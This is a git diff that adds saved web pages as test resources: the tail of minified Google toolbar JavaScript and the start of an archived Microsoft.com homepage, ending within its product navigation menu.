+!window.gbar.logger._itl(e))?e:b};H("er",{init:function(){window.gbar.logger._aem=sc}});var pc=function(a){var b=a.match(tc);return b?new uc(b[1]||"",b[2]||"",b[3]||"","",b[4]||b[5]||""):(b=a.match(vc))?new uc("",b[1]||"","",b[2]||"",b[3]||""):l},tc=RegExp("^ at(?: (?:(.*?)\\.)?((?:new )?(?:[a-zA-Z_$][\\w$]*|<anonymous>))(?: \\[as ([a-zA-Z_$][\\w$]*)\\])?)? (?:\\(unknown source\\)|\\(native\\)|\\((?:eval at )?((?:http|https|file)://[^\\s)]+|javascript:.*)\\)|((?:http|https|file)://[^\ [...]
+qc=function(){for(var a=[],b=arguments.callee.caller,c=0;b&&20>c;){var d;d=(d=Function.prototype.toString.call(b).match(wc))?d[1]:"";var e=b,f=["("];if(e.arguments)for(var g=0;g<e.arguments.length;g++){var h=e.arguments[g];0<g&&f.push(", ");"string"==typeof h?f.push('"',h,'"'):f.push(String(h))}else f.push("unknown");f.push(")");a.push(new uc("",d,"",f.join(""),""));try{if(b==b.caller)break;b=b.caller}catch(i){break}c++}return a},wc=/^function ([a-zA-Z_$][\w$]*)/,uc=function(a,b,c,d,e){t [...]
+this.name=b;this.La=c;this.Fb=d;this.L=e},rc=function(a){var b=[a.Ma?a.Ma+".":"",a.name?a.name:"anonymous",a.Fb,a.La?" [as "+a.La+"]":""];a.L&&(b.push(" at "),b.push(a.L));a=b.join("");for(b=window.location.href.replace(/#.*/,"");0<=a.indexOf(b);)a=a.replace(b,"[page]");return a=a.replace(/http.*?extern_js.*?\.js/g,"[xjs]")};var xc=function(a){this.v=a},yc=/\s*;\s*/;xc.prototype.isEnabled=function(){return navigator.cookieEnabled};xc.prototype.set=function(a,b,c,d,e,f){if(/[;=\s]/.test(a [...]
+xc.prototype.get=function(a,b){for(var c=a+"=",d=(this.v.cookie||"").split(yc),e=0,f;f=d[e];e++){if(0==f.lastIndexOf(c,0))return f.substr(c.length);if(f==a)return""}return b};var zc=new xc(document);zc.ic=3950;var Ac,Bc=function(a,b,c,d,e){try{var f=Ac;if(e!=j&&e!=l)if(0<=e&&1>=e)f=e;else{B(Error(b+"_"+c+"_"+e),"up","log");return}if(Math.random()<=f){var g=["//www.google.com/gen_204?atyp=i","zx="+(new Date).getTime(),"ogsr="+f/1,"ct="+b,"cad="+c,"id="+a,"loc="+(window.google?window.googl [...]
+H("up",{init:function(a){Ac=a.sp;D.up.tp()}});var Lc=function(a){this.F={};fc.g=v(this.Ab,this);fc.h=v(this.zb,this);var b=this.F;a=a.p.split(":");for(var c=0,d;d=a[c];++c)if(d=d.split(","),5==d.length){var e={};e.id=d[0];e.key=d[1];e.f=d[2];e.Zb=fc.c(d[3],0);e.$b=fc.c(d[4],0);b[e.f]=e}for(var f in this.F)if(this.F.hasOwnProperty(f)){var g=this.F[f];D.up.r(g.f,function(a){if(a&&-1==zc.get("OGP","").indexOf("-"+g.key)){a=g;var b=Cc[a.f];if(b)for(var c=0;c<b.length;c++){var d=document.getE [...]
+a.f&&(a=document.getElementById("gbprcc")))if(b=Dc())a.appendChild(b),b=b.style,b.width=a.offsetWidth+"px",b.height=a.offsetHeight+"px",b.visibility="visible",b.top="-1px",b.left="-1px"}})}},Cc={7:["gbprc","gbprca"]};Lc.prototype.Ab=function(a){if(a=this.F[a])Mc(a),Bc(a.id,a.f,"d",j,1)};Lc.prototype.zb=function(a){if(a=this.F[a])Mc(a),Bc(a.id,a.f,"h",j,1)};
+var Mc=function(a){var b=Cc[a.f];if(b)for(var c=0;c<b.length;c++){var d=document.getElementById(b[c]);d&&N(d,"gbto")}if("7"==a.f&&(b=Dc()))b=b.style,b.width="",b.height="",b.visibility="",b.top="",b.left="";b=a.key;(a=zc.get("OGP",""))&&(a+=":");a+="-"+b;for(var e;50<a.length&&-1!=(e=a.indexOf(":"));)a=a.substring(e+1);e=window.location.hostname;b=e.indexOf(".google.");e=0<b?e.substring(b):j;50>=a.length&&e&&zc.set("OGP",a,2592E3,"/",e)},Dc=function(){var a=document.getElementById("gbprc [...]
+a=document.createElement("iframe");a.frameBorder="0";a.tabIndex="-1";a.id="gbprcs";a.src="javascript:''";K("gbw").appendChild(a);return a};H("pm",{init:function(a){new Lc(a)}});var Nc=function(a){this.B=a;this.a=0;this.M=m;this.ob=k;this.J=this.C=l},Q=function(a){return 5==a.a||4==a.a};Nc.prototype.isEnabled=function(){return this.ob};var Oc=function(a,b){var c=b||{},d=v(a.qb,a);c.fc=d;d=v(a.wb,a);c.rc=d;d=v(a.xb,a);c.sc=d;d=v(a.ha,a);c.hc=d;d=v(a.ea,a);c.cc=d;d=v(a.vb,a);c.os=d;d=v(a.ja [...]
+n.ea=function(a){var b=R(this,a);if(b&&5!=b.a){try{this.ha(a),a.cl()}catch(c){Qc(c,"am","clc")}this.R(b)}};n.vb=function(a){var b=R(this,a);b&&0==b.a&&(this.ia?(a=setTimeout(v(function(){Q(b)||(Rc(b,6),Sc(this,b))},this),this.ia),b.J=a):Sc(this,b),b.a=1)};var Sc=function(a,b){var c=a.nb-a.ia;0<c&&(c=setTimeout(v(function(){Q(b)||(Rc(b,7),b.a=4,this.ea(b.B))},a),c),b.J=c)},Tc=function(a){a.J!=l&&(clearTimeout(a.J),a.J=l)};n=Pc.prototype;
+n.ja=function(a){if((a=R(this,a))&&!Q(a))Rc(a,5),1==a.a&&(Tc(a),a.a=3)};n.tb=function(a){if((a=R(this,a))&&!Q(a))a.M=m};n.rb=function(a){var b=R(this,a);if(b&&!Q(b)){try{this.ha(a)}catch(c){Qc(c,"am","oc")}this.R(b)}};n.sb=function(a,b,c,d,e,f){if((a=R(this,a))&&!Q(a))Qc(c,d,e,a,b,f),a.a=4,this.ea(a.B)};n.ub=function(a,b,c,d){if((a=R(this,a))&&!Q(a))Rc(a,b,c,d),2<=b&&(4>=b&&!Q(a))&&(Tc(a),a.a=2)};n.R=function(a){Tc(a);a.a=5;var b=this.K,c;for(c in b)b[c]==a&&delete b[c]};var R=function(a [...]
+H("wg",{init:function(a){Uc=new Yc(D.wg.rg,a.tiw,a.tie);Oc(Uc,D.wg)}});var $c="xec clkc xc rqd rt te".split(" "),ad=function(){this.k=this.U=l},bd=function(a,b,c){var d=a.k[b];a=a.U[b];d!=l&&a!=l&&c.push([b,"~",d-a].join(""))},cd=function(a,b){var c;if(b){c=new ad;c.U={};var d=c.U;d.t=(new Date).getTime();for(var e=0,f;f=$c[e];++e)d[f]=0}else c=l;a.C=c},dd=function(a){return 3==a.a&&!!a.C},ed=0,S=l,fd=0,gd=0,hd=m,id=function(a,b){hd||(S==l&&1E3<=b?(fd=(new Date).getTime(),S=setTimeout(fu [...]
+"shmt"))},jd=m,ld=function(){try{var a=[],b=D.wg.rg,c;for(c in b){var d=b[c];if(dd(d)){var e=d.C,f="";if(e.k!=l){var g=[];bd(e,"t",g);for(var h=0,i;i=$c[h];++h)bd(e,i,g);f=g.join(",")}else f="_h~0";a.push([c,"~{",f,"}"].join(""));f=e;f.k&&(f.U=f.k,f.k=l)}}if(0<a.length){var r={ogw:a.join(","),_cn:ed++};hd&&(r._tmfault="1");D.logger.il(26,r)}jd=m;kd()}catch(t){B(t,"wm","shr")}},md=function(a,b){try{a.k={};var c=a.k;c.t=(new Date).getTime();for(var d=0,e;e=$c[d];++d)c[e]=b[e];var c=k,f=D.w [...]
+f[g];if(dd(h)&&!h.C.k){c=m;break}}c&&(S!=l&&(clearTimeout(S),S=l),ld())}catch(i){B(i,"wm","ovr")}},nd=function(){try{var a=D.wg.rg,b;for(b in a)try{var c=a[b];dd(c)&&c.B.vr("base",ea(md,c.C))}catch(d){B(d,"wm","dhcw")}jd=k;id(ld,Vc)}catch(e){B(e,"wm","dhc")}},kd=function(){if((0<Wc||0<Xc)&&!jd){S!=l&&(clearTimeout(S),S=l);var a=0,b=m,c=D.wg.rg,d;for(d in c){var e=c[d];dd(e)?++a:3==e.a&&(cd(e,k),b=k,++a)}0<a&&(a=b&&0<Wc?Wc:Xc,0<a&&id(nd,a))}},od=function(){kd()},pd=function(a){dd(a)&&(!jd [...]
+cd(a,m)};H("wm",{init:function(a){Wc=a.thi||0;Xc=a.thp||0;Vc=a.tho||0;gd=a.tet||0;D.wg.owrd=od;D.wg.owcl=pd;kd()}});var qd=function(){this.Pa=m;this.Pa||(J(window,"resize",v(this.Rb,this),k),this.Pa=k)};qd.prototype.X=0;qd.prototype.Qb=function(){D.elg();this.X=0};qd.prototype.Rb=function(){D.elg();this.X&&window.clearTimeout(this.X);this.X=window.setTimeout(v(this.Qb,this),1500)};H("el",{init:function(){new qd}});var rd=function(){this.Ja=m;if(!D.sg.c){var a=document.getElementById("gbq [...]
+e=document.getElementById("gbqfwf"),f=document.getElementById("gbqfwe");a&&(b&&d&&e)&&(J(a,"focus",v(this.W,this,c)),J(a,"blur",v(this.oa,this,c)),J(b,"click",v(this.na,this,a)),J(d,"focus",v(this.W,this,f)),J(d,"blur",v(this.oa,this,f)),J(e,"click",v(this.na,this,d)));this.Ja=k}a=document.getElementById("gbqfqw");document.activeElement==document.getElementById("gbqfq")&&this.W(a)}ga("gbar.qfhi",v(this.Eb,this))};rd.prototype.W=function(a){try{a&&Mb(a,"gbqfqwf")}catch(b){B(b,"sf","stf")}};
+rd.prototype.oa=function(a){try{a&&N(a,"gbqfqwf")}catch(b){B(b,"sf","stb")}};rd.prototype.na=function(a){try{a&&a.focus()}catch(b){B(b,"sf","sf")}};rd.prototype.Eb=function(a){var b=document.getElementById("gbqffd");if(b&&(b.innerHTML="",a))for(var c in a){var d=document.createElement("input");d.name=c;d.value=a[c];d.type="hidden";b.appendChild(d)}};H("sf",{init:function(){new rd}});var sd,td,wd=function(){ud();vd(k);setTimeout(function(){document.getElementById("gbbbc").style.display="n [...]
+3==b.nodeType&&(b=b.parentNode);if(b=b.hash)b=parseInt(b.charAt(b.length-1),10),sd&&sd(b),a.preventDefault&&a.preventDefault(),a.returnValue=m,a.cancelBubble=k},ud=function(){td&&(clearTimeout(td),td=j)},vd=function(a){var b=document.getElementById("gbbbb").style;a?(b.WebkitTransition="opacity 1s, -webkit-transform 0 linear 1s",b.MozTransition="opacity 1s, -moz-transform 0s linear 1s",b.OTransition="opacity 1s, -o-transform 0 linear 1s",b.Ra="opacity 1s, transform 0 linear 1s"):(b.Webkit [...]
+b.MozTransition=b.Ra="",b.OTransition="all 0s");b.opacity="0";b.filter="alpha(opacity=0)";b.WebkitTransform=b.MozTransform=b.OTransform=b.transform="scale(.2)"},zd=function(){var a=document.getElementById("gbbbb").style;a.WebkitTransition=a.MozTransition=a.OTransition=a.Ra="all 0.218s";a.opacity="1";a.filter="alpha(opacity=100)";a.WebkitTransform=a.MozTransform=a.OTransform=a.transform="scale(1)"};
+q("gbar.bbs",function(a,b,c){try{document.getElementById("gbbbc").style.display="inline",xd(a),sd=b,ud(),vd(m),setTimeout(zd,0),0<c&&(td=setTimeout(wd,1E3*c))}catch(d){B(d,"bb","s")}},j);q("gbar.bbr",function(a,b,c){try{xd(a),sd=b||sd,c&&(ud(),0<c&&(td=setTimeout(wd,1E3*c)))}catch(d){B(d,"bb","r")}},j);q("gbar.bbh",wd,j);
+H("bub",{init:function(){var a=document.getElementById("gbbbb").style;a.WebkitBorderRadius=a.MozBorderRadius=a.bc="2px";a.WebkitBoxShadow=a.ac=a.dc="0px 2px 4px rgba(0,0,0,0.2)";vd(m);a.display="inline-block";J(document.getElementById("gbbbc"),"click",yd)}});var Ad=function(a){this.Ha=K("gbd");this.D=K("gbmmb");this.S=K("gbmm");Boolean(a.s)&&(this.Ha&&this.S&&this.D)&&(this.yb=new gc(this.D,this.S),D.adh("gbd",v(this.Db,this)))};Ad.prototype.Db=function(){try{var a=fc.j("Height"),b=docum [...]
+Bd.prototype.Ub=function(a){try{var b="",c="";switch(a){case "default":b="gbthc";c=["gbtha","gbthb"];break;case "light":b="gbtha";c=["gbthc","gbthb"];break;case "dark":b="gbthb";c=["gbthc","gbtha"];break;default:return}for(a=0;a<Cd.length;a++){var d=document.getElementById(Cd[a]);if(d){var e=d,f=c,g=b,h=Ta(e);if(s(f)){var i=h,r=na(i,f);0<=r&&w.splice.call(i,r,1)}else"array"==aa(f)&&(h=Ya(h,f));s(g)&&!(0<=na(h,g))?h.push(g):"array"==aa(g)&&Wa(h,g);e.className=h.join(" ")}}}catch(t){B(t,"t [...]
+H("t",{init:function(){new Bd}});var U=function(){};U.id="3";U.pb="/v6exp3/6.gif";U.Ba={z:"v4_img_dt",Ca:"v6exp3-v4.metric.gstatic.com"};U.Aa={z:"ds_img_dt",Ca:"v6exp3-ds.metric.gstatic.com"};U.za=function(a){for(var b=["i1","i2"],c=[],c=0.5<=Math.random()?[U.Aa,U.Ba]:[U.Ba,U.Aa],d=[],e=0;e<b.length;e++)d.push({z:c[e].z,url:["//",[[a.A,a.da,a.ca,a.w].join("-"),b[e],c[e].Ca].join("-"),""+U.pb].join("")});return d};var Dd=function(){};Dd.id="ad";Dd.Cb="//www.google.com/favicon.ico?";Dd.Bb= [...]
+Dd.za=function(a){var b=a.fa(),c={z:"g_img_dt",url:Dd.Cb+b},b={z:"a_img_dt",url:Dd.Bb+b};return 0==a.w%2?[c,b]:[b,c]};
+var Ed=function(a,b){function c(a){e!=l&&(d=Math.abs(new Date-e),(a||m)&&(d*=-1))}var d=-1,e=l;this.kb=function(){var b=new Image(0,0);b.onload=function(){c()};b.onerror=b.onabort=function(){c(k)};e=new Date;b.src=a};this.ya=function(){return b};this.lb=function(){return d};this.fa=function(){return[b,d].join("=")}},Fd=function(a,b,c){this.A=String(a);"p"!=this.A.charAt(0)&&(this.A="p"+this.A);this.da=b;this.ca=c;a=Math.random();this.w=Math.floor(9E5*a);this.w+=1E5;this.ga=0.1>=100*a?Dd:U};
+Fd.prototype.fa=function(){return["ipv6exp=",this.ga.id,"&p=",this.A,"&rnd=",this.da,"&hmac=",this.ca,"&nonce=",this.w].join("")};a:if(D&&D.v6b){for(var Gd=["p","rnd","hmac"],Hd=0;Hd<Gd.length;Hd++)if(!D.v6b[Gd[Hd]])break a;var Id=D.v6b.p+"-"+D.v6b.rnd+"-"+D.v6b.hmac+"-if-v6exp3-v4.metric.gstatic.com";try{var Jd=Id||window.location.hostname,Kd=[],Ld=Jd.indexOf(".metric.");if((Kd=-1<Ld?Jd.substring(0,Ld).split("-"):Jd.split("."))&&3<=Kd.length){var Md=new Fd(Kd[0],Kd[1],Kd[2]);setTimeout( [...]
+Md.ga.id,"sentinel=1"];for(var c={mb:[]},f=0;f<a.length;f++)b.push(a[f].fa()),c[a[f].ya()]=a[f].lb(),c.mb.push(a[f].ya());b=["//",[[Md.A,Md.da,Md.ca,Md.w].join("-"),"s1-v6exp3-v4.metric.gstatic.com"].join("-"),b.join("&")].join("");(new Image(0,0)).src=b},3E4)},1E4)}}catch(Nd){D.logger.ml(Nd)}};var Od=window,Pd=document,Qd=Od.location,Rd=function(){},Sd=/\[native code\]/,V=function(a,b,c){return a[b]=a[b]||c},Vd=function(a){for(var b=0;b<this.length;b++)if(this[b]===a)return b;return-1}, [...]
+var ie=function(a){return a.join(",").replace(/\./g,"_").replace(/-/g,"_")},je=function(a,b){for(var c=[],d=0;d<a.length;++d){var e=a[d];e&&0>Vd.call(b,e)&&c.push(e)}return c},ke=/^[\/_a-zA-Z0-9,.\-!:=]+$/,le=/^https?:\/\/[^\/\?#]+\.google\.com(:\d+)?\/[^\?#]+$/,me=/\/cb=/g,ne=/\/\//g,pe=function(a){"loading"!=Pd.readyState?oe(a):Pd.write("<"+he+' src="'+encodeURI(a)+'"></'+he+">")},oe=function(a){var b=Pd.createElement(he);b.setAttribute("src",a);b.async="true";(a=Pd.getElementsByTagNam [...]
+a.parentNode.insertBefore(b,a):(Pd.head||Pd.body||Pd.documentElement).appendChild(b)},qe=function(){return m},se=function(a,b){var c=b||{};"function"==typeof b&&(c={},c[$.V]=b);if(!qe||!qe(c)){var d=c,e=d&&d[$.ma];if(e)for(var f=0;f<ge.length;f++){var g=ge[f][0],h=ge[f][1];h&&Object.prototype.hasOwnProperty.call(e,g)&&h(e[g],a,d)}d=a?a.split(":"):[];if(!(e=c[$.Hb]))if(e=Zd(),!e)throw"Bad hint";f=e;g=V(X,"ah",W());if(!g["::"]||!d.length)re(d||[],c,f);else{e=[];for(h=l;h=d.shift();){var i= [...]
+i=g[h]||g[i[1]&&"ns:"+i[0]||""]||f,r=e.length&&e[e.length-1]||l,t=r;if(!r||r.hint!=i)t={hint:i,Na:[]},e.push(t);t.Na.push(h)}var u=e.length;if(1<u){var x=c[$.V];x&&(c[$.V]=function(){0==--u&&x()})}for(;d=e.shift();)re(d.Na,c,d.hint)}}},re=function(a,b,c){var d=a.sort();a=[];for(var e=j,f=0;f<d.length;f++){var g=d[f];g!=e&&a.push(g);e=g}a=a||[];var h=b[$.V],i=b[$.Ib],e=b[$.TIMEOUT],r=b[$.Jb],t=l,u=m;if(e&&!r||!e&&r)throw"Timeout requires both the timeout parameter and ontimeout parameter [...]
+var d=V($d(c),"r",[]).sort(),x=V($d(c),"L",[]).sort(),F=[].concat(d),L=function(a,b){if(u)return 0;Od.clearTimeout(t);x.push.apply(x,y);var d=((Xd||{}).config||{}).update;d?d(i):i&&V(X,"cu",[]).push(i);if(b){ee("me0",a,F);try{te(function(){var a;a=c===Zd()?V(Xd,"_",W()):W();a=V($d(c),"_",a);b(a)})}finally{ee("me1",a,F)}}h&&h();return 1};0<e&&(t=Od.setTimeout(function(){u=k;r()},e));var y=je(a,x);if(y.length){var y=je(a,d),C=V(X,"CP",[]),E=C.length;C[E]=function(a){if(!a)return 0;ee("ml1" [...]
+function(){C[E]=l;return L(y,a)};if(0<E&&C[E-1])C[E]=b;else for(b();(b=C[++E])&&b(););};if(y.length){var G="loaded_"+X.I++;Xd[G]=function(a){C[E](a);Xd[G]=l};a=c.split(";");a=(e=fe[a.shift()])&&e(a);if(!a)throw"Bad hint:"+c;e=a=a.replace("__features__",ie(y)).replace(/\/$/,"")+(d.length?"/ed=1/exm="+ie(d):"")+("/cb=gapi."+G);f=e.match(ne);g=e.match(me);if(!g||!(1===g.length&&le.test(e)&&ke.test(e)&&f&&1===f.length))throw"Bad URL "+a;d.push.apply(d,y);ee("ml0",y,F);b[$.Kb]||Od.___gapisync [...]
+fe.n=function(a){if(2==a.length){var b=a[0].replace(/\/$/,"");if(ye(b,X.m))return b+a[1]}};var ze=/([^\/]*\/\/[^\/]*)(\/js\/.*)$/,qe=function(a){var b=Wd(a,[$.ma,$.pa,$.Oa]),c=ze.exec(b);if(X.dpo||!b||!c)return m;var d=c[1],c=c[2],e=Yd(b,"nr"),f=Yd(Od.location.href,"_bsh");a=Wd(a,[$.ma,$.pa,"m"]);if(f&&(!a||!ye(f,a)))throw"Bad hint";if(e==j&&f&&f!=d)return d=f+c+(0<=c.indexOf("?")?"&":"?")+"nr="+encodeURIComponent(b),a=Pd.getElementsByTagName(he),a=a[a.length-1].src,(b&&b.replace(/^.*:/, [...]
+if(Ce&&!Ce[1].l){var De=function(){for(var a=D.mdc,b=D.mdi||{},c=0,d;d=qb[c];++c){var e=d[0],f=a[e],g=b[e],h;if(h=f){if(g=!g){var i;a:{g=e;if(h=D.mdd)try{if(!rb){rb={};var r=h.split(/;/);for(h=0;h<r.length;++h)rb[r[h]]=k}i=rb[g];break a}catch(t){D.logger&&D.logger.ml(t)}i=m}g=!i}h=g}if(h){sb(pb.Ob,e);try{d[1].init(f),b[e]=k}catch(u){D.logger&&D.logger.ml(u)}sb(pb.Nb,e)}}if(a=D.qd.m){D.qd.m=[];for(b=0;c=a[b];++b)try{c()}catch(x){D.logger&&D.logger.ml(x)}}Ce[1].l=k;sb(pb.Mb);a:{for(a=0;b=D [...]
+"m"==b[0])&&!b[1].l){a=m;break a}a=k}a&&sb(pb.Lb)};!Ce[1].libs||D.agl&&D.agl(Ce[1].libs)?De():Ce[1].i=De};}catch(e){window.gbar&&gbar.logger&&gbar.logger.ml(e,{"_sn":"m.init","_mddn":(gbar.mddn?gbar.mddn():"0")});}})();
diff --git a/src/test/resources/s/microsoft.com b/src/test/resources/s/microsoft.com
new file mode 100644
index 0000000..4c25f32
--- /dev/null
+++ b/src/test/resources/s/microsoft.com
@@ -0,0 +1,771 @@
+<!DOCTYPE html>
+<html style="" class="en-us js no-flexbox canvas no-touch backgroundsize cssanimations csstransforms csstransforms3d csstransitions fontface video audio svg inlinesvg" dir="ltr" xmlns:bi="urn:schemas-microsoft-com:mscom:bi" lang="en"><head>
+<meta http-equiv="content-type" content="text/html; charset=UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=10"><meta charset="utf-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><link rel="shortcut icon" href="http://www.microsoft.com/favicon.ico?v2"><title>
+ Microsoft Home Page | Devices and Services
+</title><link rel="stylesheet" type="text/css" href="Filer_for_microsoft/style.css">
+ <!--Third party scripts and code linked to or referenced from this website are licensed to you by the parties that own such code, not by Microsoft. See ASP.NET Ajax CDN Terms of Use – http://www.asp.net/ajaxlibrary/CDN.ashx.-->
+ <script type="text/javascript" src="Filer_for_microsoft/modernizr.js"></script>
+<script type="text/javascript" src="Filer_for_microsoft/jquery-1.js"></script>
+<script type="text/javascript">var ua,fontfix;/(Windows Phone)|(XBLWP)|(ZuneWP)/.test(navigator.userAgent)&&$("html").removeClass("fontface"),$("html").hasClass("fontface")||$("html").addClass("nofontface"),ua=navigator.userAgent.toLowerCase(),ua.indexOf("android")>-1&&ua.indexOf("android 4")===-1&&$("html").removeClass("cssanimations"),ua=navigator.userAgent.toLowerCase(),(ua.indexOf("android")>-1||ua.indexOf("silk/")>-1)&&(fontfix=document.createElement("style"),fontfix.setAttribute("t [...]
+<body style="visibility: visible;" class="home pc">
+<script src="Filer_for_microsoft/wt_capi.js" type="text/javascript"></script>
+<script type="text/javascript">
+ if (typeof (WTOptimize) != 'undefined') { try { document.body.style.visibility = 'hidden'; WTOptimize.addEventHandler(WTEvent.INVALID, function () { document.body.style.visibility = 'visible'; }); WTOptimize.addEventHandler(WTEvent.DONE, null, function () { document.body.style.visibility = 'visible'; }); WTOptimize.addEventHandler(WTEvent.PAGEVIEW, null, function () { document.body.style.visibility = 'visible'; }); var d = false; function rh(rp) { d = true; if (rp.Error != null || rp [...]
+</script>
+
+ <script type="text/javascript" src="Filer_for_microsoft/script_002.jsx"></script>
+ <form name="aspnetForm" method="post" action="default.aspx" id="aspnetForm" class="home-form">
+<div>
+<input name="__VIEWSTATE" id="__VIEWSTATE" value="/wEPDwUBMGRkrG4ZZMLmcMpgi9GdziiXK/43OIY=" type="hidden">
+</div>
+
+<div>
+
+ <input name="__EVENTVALIDATION" id="__EVENTVALIDATION" value="/wEWAwKy+5CjCQKQzazvCALixdW5DR3aoGddNUgznGRnKW2jH4+Vzn3u" type="hidden">
+</div>
+ <div class="top-bar account-center">
+ <div class="grid-container">
+
+<span class="top-bar-storelink ">
+
+ <span class="store-editorial"> <a href="http://content.microsoftstore.com/home.aspx?WT.mc_id=MSCOM_EN_US_HP_NAV_STORELOC_132M2ENUS35042">Find a Microsoft Store near you</a>
+ </span>
+
+
+</span>
+
+
+ </div>
+</div>
+<header id="mscom-header" class="site-header" bi:type="header">
+ <div class="grid-container">
+ <h1>
+ <div data-resolved="true" data-picture="" data-alt="Microsoft" class="mscom-logo">
+ <div data-src="http://i.s-microsoft.com/global/ImageStore/PublishingImages/logos/hp/logo-lg-1x.png"></div>
+ <div data-src="http://i.s-microsoft.com/global/ImageStore/PublishingImages/logos/hp/logo-lg-2x.png" data-media="(min-device-pixel-ratio: 2.0)"></div>
+ <div data-src="http://i.s-microsoft.com/global/ImageStore/PublishingImages/logos/hp/logo-sm-1x.png" data-media="(max-width: 539px)"></div>
+ <div data-src="http://i.s-microsoft.com/global/ImageStore/PublishingImages/logos/hp/logo-sm-2x.png" data-media="(max-width: 539px) and (min-device-pixel-ratio: 2.0)"></div>
+ <noscript><img src="http://i.s-microsoft.com/global/ImageStore/PublishingImages/logos/hp/logo-lg-1x.png" alt="Microsoft" /></noscript>
+ <img data-source-index="0" src="Filer_for_microsoft/logo-lg-1x.png" alt="Microsoft"></div>
+ <script type="text/javascript">window.picturePolyfill.resolveLast();</script>
+ </h1>
+ <div class="site-header-togglers" bi:track="false">
+ <a href="#mscom-navigation" id="toggle-menu" class="toggle toggle-menu" title="Toggle Navigation" bi:type="menu"><span class="icon-menu" aria-role="hidden"></span> <span class="screen-reader-text">Menu</span></a>
+ <a href="#mscom-search" id="toggle-search" class="toggle toggle-search" title="Toggle Search" bi:type="search"><span class="icon-search" aria-role="hidden"></span> <span class="screen-reader-text">Search</span></a>
+ </div>
+
+<div id="ctl00_ctl15_ctl00_ctl00_mscom-search" data-id="#mscom-search" class="mscom-search global-navigation" bi:type="Search">
+ <div role="search" class="search-form">
+ <input name="form" value="smc" type="hidden">
+ <input name="setlang" value="en-us" type="hidden">
+ <input class="search-source" name="source" value="0" type="hidden">
+ <div class="input-wrapper">
+ <label for="ctl00_ctl15_ctl00_ctl00_q" class="screen-reader-text">Search Microsoft.com</label>
+ <input name="q" id="ctl00_ctl15_ctl00_ctl00_q" class="search-box" autocomplete="off" type="search">
+ </div>
+ <button type="submit" name="ctl00$ctl15$ctl00$ctl00$searchButton" value="" id="ctl00_ctl15_ctl00_ctl00_searchButton" class="search-submit"><img src="Filer_for_microsoft/search-button-blue.png" alt="Submit" height="16" width="16"></button>
+ </div>
+ <div class="search-results-box">
+ <div bi:track="false" class="search-results">
+ <ul>
+ </ul>
+ </div>
+ <div class="search-scope">
+ <ul>
+ <li><a class="checked">Search Microsoft.com</a></li>
+ <li><a>Search the Web</a></li>
+ </ul>
+ </div>
+ </div>
+ <script type="text/javascript">
+ jQuery(document).ready(function ($) {
+ var search = new Ms.Search(
+ 'ctl00_ctl15_ctl00_ctl00_mscom-search',
+ {"scope":[{"watermarkText":["Search Microsoft.com"],"searchUrlFormat":["http://search.microsoft.com/results.aspx?form=MSHOME&mkt={1}&setlang={1}&q={0}"],"bi":[{"parameter":[{"name":["linkid"],"value":["searchmscomclick"]},{"name":["cpid"],"value":["MSCOMSearch"]},{"name":["searchtype"],"value":["MSCOM"]}]}],"autoSuggest":[{"serviceUrlFormat":["http://search.microsoft.com/shared/templates/master/smcPage/AutoSuggestHandler.ashx?q={0}&site=smc&locale={1}" [...]
+ });
+ </script>
+</div>
+ </div>
+
+<nav id="mscom-navigation" role="navigation" bi:type="menu" class="menu-component">
+ <div class="grid-container">
+ <span class="menulevel-storelink"><span class="store-editorial"> <a href="http://content.microsoftstore.com/home.aspx?WT.mc_id=MSCOM_EN_US_HP_NAV_STORELOC_132M2ENUS35042">Find a Microsoft Store near you</a>
+ </span></span>
+ <ul role="menubar" class="top-level-menubar">
+ <li role="menuitem" class="top-level-menuitem dropdown"><a class="top-level-link" bi:index="0" bi:track="false" bi:titleflag="t1" bi:title="t1" href="">Products</a>
+ <div class="dropdown-menu" bi:parenttitle="t1">
+ <div class="grid-container">
+ <div class="grid-row row-4"><div class="grid-unit list-of-links list-of-links-sm">
+ <h5 class="heading" bi:titleflag="t1" bi:title="t1">Windows</h5>
+ <ul role="menu" bi:parenttitle="t1">
+ <li role="menuitem"><a bi:index="0" bi:cpid="hpMenu" href="http://windows.microsoft.com/en-US/windows/products">All Windows products</a></li>
+ <li role="menuitem"><a bi:index="1" bi:cpid="hpMenu" href="http://windows.microsoft.com/en-US/windows-8/meet">Windows 8</a></li>
+ <li role="menuitem"><a bi:index="2" bi:cpid="hpMenu" href="http://www.microsoft.com/en-us/server-cloud/windows-server/default.aspx">Windows Server</a></li>
+ </ul>
+ <h5 class="heading" bi:titleflag="t2" bi:title="t2">Office</h5>
+ <ul role="menu" bi:parenttitle="t2">
+ <li role="menuitem"><a bi:index="0" bi:cpid="hpMenu" href="http://office.microsoft.com/">All Office products</a></li>
+ <li role="menuitem"><a bi:index="1" bi:cpid="hpMenu" href="http://office.microsoft.com/products/">Office 2010</a></li>
+ <li role="menuitem"><a bi:index="2" bi:cpid="hpMenu" href="http://www.microsoft.com/en-us/office365/online-software.aspx">Office 365</a></li>
+ </ul>
+ </div><div class="grid-unit list-of-links list-of-links-sm">
+ <h5 class="heading" bi:titleflag="t1" bi:title="t1">More Products</h5>
+ <ul role="menu" bi:parenttitle="t1">
+ <li role="menuitem"><a bi:index="0" bi:cpid="hpMenu" href="http://clk.atdmt.com/MRT/go/420109145/direct/01/">Surface</a></li>
+ <li role="menuitem"><a bi:index="1" bi:cpid="hpMenu" href="http://www.windowsphone.com/">Windows Phone</a></li>
+ <li role="menuitem"><a bi:index="2" bi:cpid="hpMenu" href="http://www.xbox.com/">Xbox</a></li>
+ <li role="menuitem"><a bi:index="3" bi:cpid="hpMenu" href="http://windows.microsoft.com/en-US/internet-explorer/products/ie/home">Internet Explorer</a></li>
+ <li role="menuitem"><a bi:index="4" bi:cpid="hpMenu" href="http://www.skype.com/go/skype/?cm_mmc=MSFT%7CTRAF_B1-_-mscom-hero-us">Skype</a></li>
+ <li role="menuitem"><a bi:index="5" bi:cpid="hpMenu" href="http://www.bing.com/">Bing</a></li>
+ <li role="menuitem"><a bi:index="6" bi:cpid="hpMenu" href="http://windows.microsoft.com/en-US/skydrive/home">SkyDrive</a></li>
+ <li role="menuitem"><a bi:index="7" bi:cpid="hpMenu" href="http://windows.microsoft.com/en-US/hotmail/home">Hotmail</a></li>
+ <li role="menuitem"><a bi:index="8" bi:cpid="hpMenu" href="http://www.microsoft.com/hardware/en-us">PC Hardware</a></li>
+ <li role="menuitem"><a bi:index="9" bi:cpid="hpMenu" href="http://www.msn.com/">MSN</a></li>
